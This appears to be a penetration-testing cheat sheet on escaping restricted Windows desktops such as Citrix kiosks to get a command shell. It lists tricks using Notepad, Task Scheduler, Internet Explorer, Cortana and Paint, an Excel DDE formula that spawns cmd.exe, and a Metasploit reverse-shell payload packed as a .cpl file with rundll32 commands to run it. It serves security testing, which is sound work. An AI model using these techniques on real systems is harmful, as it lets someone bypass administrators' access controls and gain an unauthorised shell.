# Windows utilities

Credit: <https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/>

## Notepad

We can try and create a file a new text file and save at as `file.bat` with the content of `cmd.exe` , double click on the file and a cmd will open.

## Cortana

McAfee uncovered and documented the security flaws in a lengthy blog post, with one simple issue being the fact that you could trigger the voice assistant from the lock screen (assuming Cortana is enabled in this respect, on default settings), and bring up a contextual Windows 10 menu simply by typing while Cortana is listening to a query.&#x20;

simply typing while Cortana starts to listen to a query on a locked device will bring up a Windows contextual menu, as shown below&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FsajbiwtRLNGq4iTSQzZL%2Ffile.png?alt=media)

## Task Scheduler

An interesting weakness, where some systems prevent access to cmd.exe, however it can still be scheduled to run via Task Scheduler. This can be done either via the command line scheduler (at.exe) or the GUI (taskschd.msc). A basic task can be created to run cmd.exe at a specific time (i.e. 1 minute in the future) or upon certain events such as when a user logs on.&#x20;

We can use it to make it run powershell from the path:&#x20;

`%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe`&#x20;

When a user logout and log back in&#x20;

## Task Manager

Task Manager: CTRL+SHIFT+ESC -> File -> Run New Task

## Printer

Right-click anywhere -> Print -> Find Printer -> browse to cmd.exe

## Internet Explorer

Get a cmd shell in Internet Explorer:&#x20;

### Address Bar

Enter in address bar:&#x20;

`file://C:\Windows\System32\cmd.exe`&#x20;

### Developer Tools

Developer Tools: Press F12 -> Performance Tab -> Press on 3rd icon "Importing Profile Session"

## Excel

Get a cmd.exe shell using Excel:&#x20;

Place this in a cell and press enter:&#x20;

`=cmd|' /k cmd.exe'!'A1'`&#x20;

## Windows Search

Get a cmd.exe or Powershell shell using Windows search:&#x20;

press Windows key and enter search. Note that admins frequently block cmd.exe and Powershell but forget to block Powershell ISE.&#x20;

## Shortcuts

Try shortcuts:&#x20;

Shift \* 5 = 5 sticky key&#x20;

Alt + F4 = shutdown computer &#x20;

Win + R  = run &#x20;

Ctrl  + Shift  + esc = task manager&#x20;

Ctrl + alt  + delete = help menu (task manager, change password , etc)   &#x20;

## Control Panel

Generating a simple x64 reverse shell in a .cpl format:&#x20;

```
use windows/local/cve_2017_8464_lnk_lpe 
set payload windows/x64/shell_reverse_tcp 
```

Invoking the shellcode via control.exe:&#x20;

`control.exe .\FlashPlayerCPLApp.cpl`&#x20;

\# or&#x20;

`rundll32.exe shell32.dll,Control_RunDLL file.cpl`&#x20;

\# or&#x20;

`rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl`&#x20;

## Paint&#x20;

An unusual, yet effective method of gaining a shell by creating a shortcut to cmd.exe by drawing certain colours in Microsoft Paint. Due to the encoding algorithm used to write BMP files, it is possible to dictate ASCII data written into a file by carefully selecting certain RGB colours.&#x20;

![IMAGE12](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FweaIqzuH98wwPceSPQmO%2Ffile.jpeg?alt=media)

&#x20;   Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels&#x20;

&#x20;   Zoom in to make the following tasks easier&#x20;

&#x20;   Using the colour picker, set pixels values to (from left to right):&#x20;

```
1st: R: 10, G: 0, B: 0 
2nd: R: 13, G: 10, B: 13 
3rd: R: 100, G: 109, B: 99 
4th: R: 120, G: 101, B: 46 
5th: R: 0, G: 0, B: 101 
6th: R: 0, G: 0, B: 0 
```

&#x20;Save it as 24-bit Bitmap (\*.bmp;\*.dib)&#x20;

Change its extension from bmp to bat and run.&#x20;